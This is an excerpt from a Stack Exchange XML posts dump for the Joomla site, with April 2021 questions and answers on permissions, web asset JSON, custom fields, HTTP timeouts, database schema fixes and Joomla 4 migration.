  <row Id="29043" PostTypeId="2" ParentId="29033" CreationDate="2021-04-24T06:37:49.377" Score="1" Body="&lt;p&gt;So this is how i got green flags again.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;first I added a user lets call him kamin-user&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;sudo adduser --home /var/www/joomla --shell /bin/bash --no-create-home --ingroup www-data --ingroup ssh kamin-user&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;second I made a ownership with kamin-user and www-data important is only the www-data on second place (try and error) you can do root:www-data&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;sudo chown -R kamin-user:www-data joomla/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;third I did modify the permissions. (755 did not work)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;sudo chmod -R 775 joomla/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Lastly i don't know why this is needed and if that is a good setting. I will choose any answer that explains that a little. Or close it with this answer with in 2 Weeks.&lt;/p&gt;&#xA;" OwnerUserId="15154" LastActivityDate="2021-04-24T06:37:49.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29044" PostTypeId="1" AcceptedAnswerId="29182" CreationDate="2021-04-24T06:46:19.210" Score="3" ViewCount="2564" Body="&lt;p&gt;I figured I need to reinstall a template/extension in order to take into account my changes to the &lt;code&gt;joomla.asset.json&lt;/code&gt; file. Here is the file I'm currently using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &amp;quot;$schema&amp;quot;: &amp;quot;https://developer.joomla.org/schemas/json-schema/web_assets.json&amp;quot;,&#xA;  &amp;quot;name&amp;quot;: &amp;quot;my-template&amp;quot;,&#xA;  &amp;quot;version&amp;quot;: &amp;quot;4.0.0&amp;quot;,&#xA;  &amp;quot;description&amp;quot;: &amp;quot;template description&amp;quot;,&#xA;  &amp;quot;license&amp;quot;: &amp;quot;GPL-2.0-or-later&amp;quot;,&#xA;  &amp;quot;assets&amp;quot;: [&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;template.offline&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;style&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;offline.css&amp;quot;&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;template.style&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;style&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;template.css&amp;quot;&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;template.script&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;template.js&amp;quot;&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;template.preset&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;preset&amp;quot;,&#xA;      &amp;quot;dependencies&amp;quot;: [&#xA;        &amp;quot;template.style#style&amp;quot;,&#xA;        &amp;quot;template.script#script&amp;quot;&#xA;      ]      &#xA;    }&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However there are a few things I don't quite understand:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;how can I make Joomla acknowledge my &lt;code&gt;joomla.asset.json&lt;/code&gt; changes without reinstalling extensions?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;why the web asset manager loads &lt;code&gt;finder.min.js&lt;/code&gt; when my template doesn't ask for it? is it requested for the &lt;code&gt;mod_search&lt;/code&gt;? further more I'm getting &lt;code&gt;Uncaught TypeError: a is not a constructor at finder.min.js:1&lt;/code&gt; when again my template doesn't ask for it;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;then there is the issue in &lt;code&gt;core.js&lt;/code&gt; dependency of the original &lt;code&gt;cassiopeia/joomla.asset.json&lt;/code&gt; for various scripts, does it mean my own &lt;code&gt;joomla.asset.json&lt;/code&gt; defined scripts have to have the &lt;code&gt;core.js&lt;/code&gt; as dependency as well? As you can see in the image below, the &lt;code&gt;joomla-alert.min.css&lt;/code&gt; as well as many other assets are loaded without asking for it, I believe that is outside the template own asset manager control.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/o06HO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/o06HO.png&quot; alt=&quot;joomla-asset-screenshot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;are the above related in any way?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I will update the above with further findings.&lt;/p&gt;&#xA;&lt;p&gt;Testing with latest Joomla 4.0.0 beta.&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13509" LastEditorUserId="13509" LastEditDate="2021-05-21T07:08:34.353" LastActivityDate="2021-05-22T10:44:35.220" Title="How to use joomla.asset.json correctly?" Tags="|joomla-4|json|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29045" PostTypeId="1" CreationDate="2021-04-24T09:27:09.853" Score="1" ViewCount="140" Body="&lt;p&gt;I trying to create a new custom field, which will have a select field with menu items from certain menu type, I got stuck at populating this select field with values from database.&lt;/p&gt;&#xA;&lt;p&gt;You can see the code &lt;a href=&quot;https://github.com/esedic/listmenus/blob/2b0ad43e139954a653e5284568542090bbd4266b/plg_listmenus/fields/listmenus.php#L42&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Also I need to access these 3 object properties (id, title, link) on frontend, so the goal is to have in table #__fields_values in &lt;code&gt;value&lt;/code&gt; column record like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;{&amp;quot;id&amp;quot;:&amp;quot;115&amp;quot;,&amp;quot;title&amp;quot;:&amp;quot;Article&amp;quot;,&amp;quot;link&amp;quot;:&amp;quot;index.php?option=com_content&amp;amp;view=article&amp;amp;id=1&amp;quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I got to this point:&lt;/p&gt;&#xA;&lt;p&gt;Articles-Edit-Joomla-Administration.png&lt;/p&gt;&#xA;&lt;p&gt;If I print DB query correct values are returned:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Array ( &#xA;   [0] =&amp;gt; stdClass Object ( &#xA;        [id] =&amp;gt; 101 &#xA;        [title] =&amp;gt; Home &#xA;        [link] =&amp;gt; index.php?option=com_content&amp;amp;view=featured ) &#xA;&#xA;   [1] =&amp;gt; stdClass Object ( &#xA;        [id] =&amp;gt; 115 &#xA;        [title] =&amp;gt; Article &#xA;        [link] =&amp;gt; index.php?option=com_content&amp;amp;view=article&amp;amp;id=1 ) &#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But I don't know, how to get this in the select field.&lt;/p&gt;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2021-04-24T09:27:09.853" Title="How to populate custom field dropdown with values from DB" Tags="|joomla-3.x|custom-field|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29046" PostTypeId="1" CreationDate="2021-04-24T09:44:53.087" Score="1" ViewCount="92" Body="&lt;p&gt;In a component, I'm using the call to retrieve an xml file hosted on a website .  However, in some cases, the firewall blocks this kind of request so there is no answer. In this case, how can I check for a timeout? This is my code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$url = 'https://mysite.org/filetoretrieve.xml';&#xA;&#xA;$options = new Joomla\Registry\Registry;&#xA;&#xA;try&#xA;{&#xA;    $transport = new Joomla\CMS\Http\Transport\StreamTransport($options);&#xA;}&#xA;catch (Exception $e) &#xA;{&#xA;    $this-&amp;gt;app-&amp;gt;enqueueMessage($e-&amp;gt;getMessage(), 'error');&#xA;&#xA;    return false;&#xA;}&#xA;&#xA;if (!$transport-&amp;gt;isSupported())&#xA;{&#xA;    return false;&#xA;}&#xA;&#xA;// Create a 'stream' transport.&#xA;$http = new Joomla\CMS\Http\Http($options, $transport);&#xA;&#xA;try&#xA;{&#xA;    $response = $http-&amp;gt;get($url);&#xA;}&#xA;catch (Exception $e)&#xA;{&#xA;    $this-&amp;gt;app-&amp;gt;enqueueMessage($e-&amp;gt;getMessage(), 'error');&#xA;&#xA;    return false;&#xA;}&#xA;&#xA;if ($response-&amp;gt;code == '200')&#xA;{&#xA;    // Handling the answer here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="12352" LastEditDate="2021-04-24T10:24:41.313" LastActivityDate="2024-01-18T11:07:30.930" Title="When using Joomla\CMS\Http\Http to do a request, how to check timeout?" Tags="|joomla-3.9|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29047" PostTypeId="2" ParentId="29019" CreationDate="2021-04-24T10:46:32.247" Score="0" Body="&lt;p&gt;i solved it with &lt;a href=&quot;https://extensions.joomla.org/extension/yrvote/&quot; rel=&quot;nofollow noreferrer&quot;&gt;yrvote plugin&lt;/a&gt;. With &lt;code&gt;{yrvote}&lt;/code&gt; insertion where you want to show star rating, you can manage microdata format and aggregateRating.&lt;/p&gt;&#xA;" OwnerUserId="8707" LastActivityDate="2021-04-24T10:46:32.247" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29048" PostTypeId="1" CreationDate="2021-04-24T12:25:05.170" Score="0" ViewCount="29" Body="&lt;p&gt;I am trying to make a Joomla-based warranty registration system. Recently, I was able to turn on the possibility of registering new users and logging them in. Only registered/logged-in users will be able to register the warranty.&lt;/p&gt;&#xA;&lt;p&gt;Data from the guarantee registration form are to be saved in the database.&lt;/p&gt;&#xA;&lt;p&gt;However, when I try to register the guarantee with a logged-in user, the website logs me out by itself and nothing is saved to the database.&lt;/p&gt;&#xA;&lt;p&gt;Why is this happening and what can I do to improve the operation of the website?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://flaex-elektronarzedzia.pl/gwarancje2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://flaex-elektronarzedzia.pl/gwarancje2/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15170" LastEditorUserId="12352" LastEditDate="2021-04-24T20:33:17.213" LastActivityDate="2021-04-24T20:33:17.213" Title="When I save form data on a Joomla site to the database, Joomla logs me out" Tags="|php|form|user-registration|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29049" PostTypeId="1" AcceptedAnswerId="29051" CreationDate="2021-04-24T15:39:51.050" Score="0" ViewCount="46" Body="&lt;p&gt;I know we are using&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Factory&lt;/code&gt; instead of &lt;code&gt;JFactory&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I would like to know if there is an easy way to know the mapping.&lt;/p&gt;&#xA;&lt;p&gt;I'd also like to understand if any have been deprecated or replaced.  Is there a good resource for this?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2021-04-27T13:03:44.430" Title="Is there a resource showing all the J3 classes mapped to the J4 equivalents?" Tags="|joomla-4|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29050" PostTypeId="1" AcceptedAnswerId="29100" CreationDate="2021-04-24T17:11:59.957" Score="2" ViewCount="613" Body="&lt;p&gt;In my component under Joomla! 4.0, I have the following call which returns:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;error JHtml componentname not found.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;HTMLHelper::_(&#xA;    'componentname.link',&#xA;    'index.php?option=com_component&amp;amp;view=credits',&#xA;    Text::_('COM_COMPONENT_MYTEXT'),&#xA;    '',&#xA;    '',&#xA;    '',&#xA;    ''&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have a namespaced class called &lt;code&gt;ComponentName&lt;/code&gt; under &lt;code&gt;Component\Name\Libraries\Html\Html&lt;/code&gt;. How can I make HTMLHelper find the namespaced class of my component?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="12352" LastEditDate="2021-04-24T20:40:40.270" LastActivityDate="2021-05-05T23:00:01.167" Title="Use HTMLHelper::_ by calling a namespaced class" Tags="|joomla-4.x|namespace|htmlhelper|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29051" PostTypeId="2" ParentId="29049" CreationDate="2021-04-25T08:10:31.477" Score="3" Body="&lt;p&gt;You can find the equivalent of Joomla! classes here:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/4.0-dev/libraries/classmap.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/4.0-dev/libraries/classmap.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Your IDE will show when a method is deprecated in your code if you set as dependency the Joomla 4.0 git directory cloned locally.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Setting_up_your_workstation_for_Joomla_development#Installing_an_IDE_.2F_Editor_.28and_debugging.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Setting_up_your_workstation_for_Joomla_development#Installing_an_IDE_.2F_Editor_.28and_debugging.29&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="12352" LastEditDate="2021-04-27T13:03:44.430" LastActivityDate="2021-04-27T13:03:44.430" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29052" PostTypeId="1" AcceptedAnswerId="29057" CreationDate="2021-04-25T10:39:12.010" Score="1" ViewCount="696" Body="&lt;p&gt;I was given the a copy of the folder &amp;quot;httpdocs&amp;quot; and a .sql of the Joomla database from a fully operational site on plesk, and was asked to mount the website locally.&lt;/p&gt;&#xA;&lt;p&gt;The version of Joomla is 3.6.5, I checked it on the en-GB.xml. The PHP version on the original server was 5.4.45, and now I am using Xampp 1.8.2 with PHP 5.4.31.&lt;/p&gt;&#xA;&lt;p&gt;After changing the configuration.php to connect to the database, and then accessing the site I get this error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;1054 - Unknown column '&lt;code&gt;c.version&lt;/code&gt;' in 'field list'&lt;/p&gt;&#xA;&lt;p&gt;SQL=&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT c.id, c.asset_id, c.access, c.alias, c.checked_out, c.checked_out_time,&#xA;       c.created_time, c.created_user_id, c.description, c.extension,&#xA;       c.hits, c.language, c.level, c.lft, c.metadata, c.metadesc,&#xA;       c.metakey, c.modified_time, c.note, c.params, c.parent_id,&#xA;       c.path, c.published, c.rgt, c.title, c.modified_user_id, c.version,&#xA;       CASE&#xA;           WHEN CHAR_LENGTH(c.alias) != 0 THEN CONCAT_WS(':', c.id, c.alias)&#xA;           ELSE c.id&#xA;       END as slug,&#xA;       COUNT(i.`id`) AS numitems&#xA;FROM #__categories as c&#xA;LEFT JOIN (&#xA;    SELECT cat.id as id&#xA;    FROM #__categories AS cat&#xA;    JOIN #__categories AS parent ON cat.lft BETWEEN parent.lft AND parent.rgt&#xA;    WHERE parent.extension = 'com_content'&#xA;        AND parent.published != 1 GROUP BY cat.id&#xA;) AS badcats ON badcats.id = c.id&#xA;LEFT JOIN #__categories AS s ON &#xA;    (s.lft &amp;lt; c.lft AND s.rgt &amp;gt; c.rgt AND c.language in ('en-GB','*'))&#xA;     OR (s.lft &amp;gt;= c.lft AND s.rgt &amp;lt;= c.rgt)&#xA;LEFT JOIN `#__content` AS i ON&#xA;     i.`catid` = c.id AND i.state = 1 AND (i.language = '*' OR i.language = 'en-GB')&#xA;WHERE (c.extension='com_content' OR c.extension='system')&#xA;    AND c.access IN (1,1)&#xA;    AND c.published = 1&#xA;    AND badcats.id is null&#xA;    AND s.id=10&#xA;GROUP BY c.id, c.asset_id, c.access, c.alias, c.checked_out,&#xA;    c.checked_out_time, c.created_time, c.created_user_id,&#xA;    c.description, c.extension, c.hits, c.language, c.level,&#xA;    c.lft, c.metadata, c.metadesc, c.metakey, c.modified_time,&#xA;    c.note, c.params, c.parent_id, c.path, c.published, c.rgt,&#xA;    c.title, c.modified_user_id, c.version&#xA;ORDER BY c.lft&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;From what I have seen, this error is common in websites that are being updated from Joomla! 2.5 to 3.x, this one is not.&lt;/p&gt;&#xA;&lt;p&gt;I am not very familiar with Joomla!, but I will update this question with any requested information.&lt;/p&gt;&#xA;" OwnerUserId="15175" LastEditorUserId="12352" LastEditDate="2021-04-25T12:57:50.623" LastActivityDate="2021-04-28T09:43:14.360" Title="Joomla! 3.6.5 Unknown column 'c.version' in 'field list'" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29053" PostTypeId="2" ParentId="20579" CreationDate="2021-04-25T11:42:41.500" Score="1" Body="&lt;p&gt;I want to add one more layer to complete the above 2 posts which are really good. If you want to use the translation service from Joomla, you can do that by doing the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add this in your php code, I add this to my default.php file at the top&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JText::script('COM_YOURCOMPONENT_YOUR_MESSAGE');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In your JS file, add this code to the logic where your want to display the message&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var message = Joomla.JText._('COM_YOURCOMPONENT_YOUR_MESSAGE');&#xA;Joomla.JText.load({success: &amp;quot;Success&amp;quot;});&#xA;Joomla.renderMessages({'success': [message]});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In your Language/en-GB/en-GB.com_yourcomponent.ini file, add the translation&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;COM_YOURCOMPONENT_YOUR_MESSAGE=&amp;quot;your message&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12496" LastEditorUserId="12352" LastEditDate="2021-04-25T12:41:38.587" LastActivityDate="2021-04-25T12:41:38.587" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29054" PostTypeId="2" ParentId="19472" CreationDate="2021-04-27T12:13:25.370" Score="2" Body="&lt;p&gt;Got the same error in Joomla!&lt;/p&gt;&#xA;&lt;p&gt;System top bar disappeared while in Admin-&amp;gt;Global Configuration (com_config).&lt;/p&gt;&#xA;&lt;p&gt;PHP error can only be seen in title (quite useless): &amp;quot;&lt;strong&gt;Error: 0 Function name must be a string&lt;/strong&gt;&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Digging for several hours led me to &lt;strong&gt;/libraries/joomla/database/driver/bclass.php&lt;/strong&gt;, removing this file fixes the error.&lt;/p&gt;&#xA;&lt;p&gt;Hope this will save some hours for someone else..&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/y5UX3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y5UX3.png&quot; alt=&quot;joomla without title bar&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14591" LastActivityDate="2021-04-27T12:13:25.370" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="29055" PostTypeId="2" ParentId="29024" CreationDate="2021-04-27T14:58:48.437" Score="1" Body="&lt;p&gt;Joomla needs to have an indication of the menuitem (ie itemid) to know how to display all the stuff around the item being shown - templates, modules etc. It tries to determine the most appropriate menuitem to use based on certain things like what menuitem you're currently on, language etc. It looks as if Joomla is using the itemid of your home page.&lt;/p&gt;&#xA;&lt;p&gt;I suggest you try setting up a separate menuitem which simply displays an article - shown the way you'd like to have it. Then pass the itemid of that menuitem in your URL. If you set the menuitem to hidden then it won't be displayed in any menu - ie it won't be visible to users.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2021-04-27T14:58:48.437" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29056" PostTypeId="1" AcceptedAnswerId="29060" CreationDate="2021-04-28T09:21:28.460" Score="1" ViewCount="233" Body="&lt;p&gt;I need to use the repeatable field, but on a installation thats a but older there is no repeatable field available. Does anyone know how to install this?&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2021-04-28T12:30:30.937" Title="Repeatable field not visible anymore?" Tags="|joomla-3.x|fields|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29057" PostTypeId="2" ParentId="29052" CreationDate="2021-04-28T09:43:14.360" Score="3" Body="&lt;p&gt;&lt;strong&gt;Welcome to the Joomla Stack Exchange @Bisectriz.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Where you say you don't know much about Joomla, I'm going to assume you know enough about xampp and phpmyadmin for the following to make sense. If not, reply and I'll come back with more detail on what to do in those steps.&lt;/p&gt;&#xA;&lt;h2&gt;Edit the Categories table via phpMyAdmin&lt;/h2&gt;&#xA;&lt;p&gt;You need to fix your &lt;code&gt;#__categories&lt;/code&gt; table on xampp via phpMyAdmin first.&lt;/p&gt;&#xA;&lt;p&gt;Go to http://localhost/phpmyadmin&lt;/p&gt;&#xA;&lt;p&gt;Find the &lt;code&gt;#__categories&lt;/code&gt; table in your database and click on Structure tab. (Replace the &lt;code&gt;#_&lt;/code&gt; with the prefix for your database to find the table).&lt;/p&gt;&#xA;&lt;p&gt;You'll then need to add a column to the &lt;code&gt;#__categories&lt;/code&gt; table that is named version. This is what the SQL Statement looks like, but you need to replace the &lt;code&gt;#_&lt;/code&gt; with your database table prefix:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE `#__categories` ADD `version` INT(10) UNSIGNED NOT NULL DEFAULT '1'  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Once you've run that command, try accessing the site again and ideally you're past the initial problem as your categories table now has a version field that is missing and causing the SQL error you're getting.&lt;/p&gt;&#xA;&lt;p&gt;I'd then go to the next part of my answer and run the Database Fix tool to have the entire database checked for changes.&lt;/p&gt;&#xA;&lt;h2&gt;Joomla Database Check Tool&lt;/h2&gt;&#xA;&lt;p&gt;Joomla has a function built in to check the database structure and allow you to fix it if there's something missing.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to Extensions &amp;gt; Manage &amp;gt; Database&lt;/li&gt;&#xA;&lt;li&gt;The function will run as the page load to tell you what needs to be fixed in the database&lt;/li&gt;&#xA;&lt;li&gt;Click on the Fix button at the top of the page to run the SQL that will modify the structure of the database.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In your case, version control was introduced at some stage before 3.6.5, but 3.6.5 is the &amp;quot;jump&amp;quot; version for updating to later versions of Joomla where there's changes before 3.6.5 that need to be applied before later versions can be applied.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9v3Ka.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9v3Ka.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14062" LastActivityDate="2021-04-28T09:43:14.360" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29058" PostTypeId="6" CreationDate="2021-04-28T09:50:28.340" Score="0" Body="&lt;h1&gt;Patrick Jackson&lt;/h1&gt;&#xA;&lt;p&gt;In addition to becoming a regular &lt;a href=&quot;https://magazine.joomla.org/authors/patrick-jackson&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Community Magazine contributor&lt;/a&gt;, I've been providing support to the &lt;a href=&quot;https://docs.joomla.org/Bugs_%26_Fun_@Home&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bugs &amp;amp; Fun @ Home&lt;/a&gt; events running during isolation, where I've been honing my development knowledge, learning skills relating to Joomla Patch Testing, how to use GitHub, contributing to translations and documentation, and looking forward to the upcoming release of Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;At the end of 2020 I joined the &lt;a href=&quot;https://volunteers.joomla.org/teams/volunteer-engagement-team&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Volunteer Engagement Team (VET)&lt;/a&gt;, and started in February as the Team Leader. In that role I lead a team tasked with recruitment, retention and recognition of volunteers in the community.&lt;/p&gt;&#xA;&lt;p&gt;As a leader in the Joomla community, becoming a moderator of Joomla Stack Exchange is to me a logical step in increasing community engagement and championing the Joomla project.&lt;/p&gt;&#xA;" OwnerUserId="14062" LastEditorUserId="14062" LastEditDate="2021-04-28T09:50:28.340" LastActivityDate="2021-04-28T09:50:28.340" CommentCount="3" CommunityOwnedDate="2021-04-28T09:50:28.340" ContentLicense="CC BY-SA 4.0" />
  <row Id="29059" PostTypeId="2" ParentId="24995" CreationDate="2021-04-28T10:33:54.263" Score="0" Body="&lt;p&gt;&lt;code&gt;JFactory::getSession&lt;/code&gt; is a method (function).&#xA;&lt;code&gt;JFactory::getSession()-&amp;gt;get('myCaptchaCode')&lt;/code&gt; should do what you expect.&lt;/p&gt;&#xA;" OwnerUserId="292" LastActivityDate="2021-04-28T10:33:54.263" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29060" PostTypeId="2" ParentId="29056" CreationDate="2021-04-28T11:36:04.903" Score="3" Body="&lt;p&gt;Are you talking about the repeatable custom field? If so, then you could try the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download a copy of the latest Joomla (3.9.26 as of this writing).&lt;/li&gt;&#xA;&lt;li&gt;Go to the folder /plugins/fields.&lt;/li&gt;&#xA;&lt;li&gt;Copy/upload the 'repeatable' map to your Joomla site and add it in the same folder (/plugins/fields).&lt;/li&gt;&#xA;&lt;li&gt;In the backend of your Joomla site go to Extensions &amp;gt; Manage &amp;gt;&#xA;Discover.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;That should give you the option to install the repeatable field.&lt;/p&gt;&#xA;" OwnerUserId="15190" LastEditorUserId="15190" LastEditDate="2021-04-28T11:41:55.627" LastActivityDate="2021-04-28T11:41:55.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29062" PostTypeId="1" AcceptedAnswerId="29090" CreationDate="2021-04-29T09:03:02.967" Score="2" ViewCount="95" Body="&lt;p&gt;When I am putting together various HTML elements in my extensions, how should I be planning for the possibility that the end users Users Interface framework could be Bootstrap4 or UIKit or any others that might be available to Joomla instances in the future?&lt;/p&gt;&#xA;&lt;p&gt;A simple example might be an &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt; element on a form where the choices I have seem to be to not include any class attribute, include the all the class names to cover each of the possible UI frameworks and or include some plugin that replaces the class name with the right name for the UI.&lt;/p&gt;&#xA;&lt;p&gt;For example.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&amp;quot;email&amp;quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;vs&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&amp;quot;email&amp;quot; class=&amp;quot;form-control uk-input tba-input&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have been looking for an answer for awhile now and haven't really found any question or discussion on how to code for multiple UI frameworks.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="12352" LastEditDate="2021-04-29T11:31:37.797" LastActivityDate="2021-05-15T11:04:00.870" Title="How to code for multiple UI frameworks?" Tags="|bootstrap|template-framework|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
